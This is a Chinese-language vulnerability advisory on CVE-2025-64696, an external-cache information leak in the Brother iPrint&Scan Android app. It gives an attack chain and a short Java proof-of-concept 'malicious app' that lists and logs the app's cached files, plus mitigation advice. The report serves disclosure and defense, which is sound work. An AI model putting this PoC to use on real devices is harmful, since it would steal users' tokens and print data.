IPBUF安全漏洞报告
English
CVE-2025-64696 CVSS 3.3 低危

CVE-2025-64696 Brother iPrint&Scan 外部缓存目录信息泄露漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-64696
漏洞类型
信息泄露/不安全存储
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Brother iPrint&Scan Android App

相关标签

CVE-2025-64696信息泄露Android安全BrotheriPrint&Scan不安全存储外部缓存目录应用沙箱绕过本地攻击数据窃取

漏洞概述

CVE-2025-64696是发生在Brother公司开发的iPrint&Scan Android应用中的一个信息泄露漏洞。该应用6.13.7及更早版本存在不当使用外部缓存目录的安全问题。在Android系统中,应用通常使用私有存储目录来保存敏感数据,但该应用错误地将部分应用特定文件存储在了外部可访问的缓存目录中。这一设计缺陷使得其他恶意应用程序能够绕过Android的沙箱隔离机制,访问并读取Brother iPrint&Scan应用存储的敏感文件。攻击者通过构造恶意应用,利用Android的应用间数据共享机制,可以获取到目标应用存储的用户凭证、打印任务数据、配置信息等敏感内容。虽然该漏洞的CVSS评分仅为3.3,属于低危级别,但在特定场景下仍可能造成用户隐私信息泄露和业务安全风险。建议用户及时更新应用到最新版本以修复此问题。

技术细节

该漏洞源于Android应用的存储权限管理不当。在Android安全架构中,每个应用都有自己独立的私有存储空间(/data/data/<package_name>/),用于存储应用专用的数据文件。正确的做法是将所有敏感数据存储在应用的私有目录中,并设置适当的文件访问权限。然而,Brother iPrint&Scan 6.13.7及更早版本将部分应用数据错误地存储在了外部缓存目录(/sdcard/Android/data/或外部存储的缓存区域),这些位置可以被设备上其他具有存储访问权限的应用直接读取。攻击者只需要构造一个恶意Android应用,申请必要的存储权限(如READ_EXTERNAL_STORAGE或MANAGE_EXTERNAL_STORAGE),即可遍历并读取Brother iPrint&Scan应用存储的外部缓存文件。这些文件可能包含用户的认证令牌、打印任务历史、扫描设置、自定义配置等敏感信息。漏洞的利用不需要root权限,在普通用户权限下即可完成攻击。攻击的复杂度较低(AC:L),但需要用户交互(UI:R)来安装恶意应用,且攻击范围仅限于本地设备(AV:L)上的应用间攻击。

攻击链分析

STEP 1
步骤1:侦察阶段
攻击者在目标Android设备上安装恶意应用程序。恶意应用申请存储访问权限(READ_EXTERNAL_STORAGE或MANAGE_EXTERNAL_STORAGE),这些权限在Android系统中属于普通权限,用户通常不会意识到风险。
STEP 2
步骤2:定位目标文件
恶意应用遍历外部存储目录,定位Brother iPrint&Scan应用存储在外部缓存目录(/Android/data/com.brother.printservice/cache/)中的文件。由于Android的应用间数据共享机制,应用可以访问外部存储上的其他应用缓存文件。
STEP 3
步骤3:数据窃取
恶意应用读取Brother iPrint&Scan存储在外部缓存中的文件内容。这些文件可能包含用户凭证、打印任务数据、扫描配置、认证令牌等敏感信息。攻击者将这些数据打包后通过网络发送给远程服务器。
STEP 4
步骤4:数据利用
攻击者利用窃取的敏感信息进行进一步攻击,例如:使用窃取的认证令牌冒充合法用户进行打印操作,访问用户的打印历史记录获取业务敏感信息,或者利用配置信息发现其他潜在漏洞。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64696 PoC - Android Application to Exploit External Cache Directory Information Disclosure // This PoC demonstrates how a malicious app can access Brother iPrint&Scan's external cache files import android.app.Activity; import android.os.Bundle; import android.content.pm.PackageManager; import android.os.Environment; import android.util.Log; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class MaliciousAppActivity extends Activity { private static final String TAG = "CVE-2025-64696"; private static final String TARGET_APP_PACKAGE = "com.brother.printservice"; private static final String EXTERNAL_CACHE_PATH = "/Android/data/" + TARGET_APP_PACKAGE + "/cache/"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Check for storage permissions if (checkSelfPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) { requestPermissions(new String[]{android.Manifest.permission.READ_EXTERNAL_STORAGE}, 1); return; } // Exploit: Read files from Brother iPrint&Scan external cache directory File externalCacheDir = new File(Environment.getExternalStorageDirectory(), EXTERNAL_CACHE_PATH); if (externalCacheDir.exists() && externalCacheDir.isDirectory()) { File[] files = externalCacheDir.listFiles(); if (files != null) { for (File file : files) { Log.d(TAG, "Found file: " + file.getName()); readFileContents(file); } } } else { Log.w(TAG, "Target cache directory not found or not accessible"); } } private void readFileContents(File file) { try { FileInputStream fis = new FileInputStream(file); byte[] buffer = new byte[(int) file.length()]; fis.read(buffer); fis.close(); // Log file contents (in real attack, this would be exfiltrated) String content = new String(buffer); Log.d(TAG, "File content from " + file.getName() + ":\n" + content); } catch (IOException e) { Log.e(TAG, "Error reading file: " + file.getName(), e); } } } // Note: This PoC requires the following permissions in AndroidManifest.xml: // <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> // <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" /> // For Android 11+ // Additionally, a manifest query may be needed: // <queries> // <package android:name="com.brother.printservice" /> // </queries>

影响范围

Brother iPrint&Scan Android App <= 6.13.7

防御指南

临时缓解措施
由于该漏洞的利用需要用户主动安装恶意应用,建议用户仅从官方应用商店(如Google Play)下载应用,避免安装来源不明的APK文件。对于已安装Brother iPrint&Scan的用户,应尽快更新到最新版本(6.13.8及以上)。如果暂时无法更新,应检查设备上是否安装了来源可疑的应用,并及时卸载不明应用。同时,建议审查应用的权限请求,对于不需要存储权限的应用应拒绝授权。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表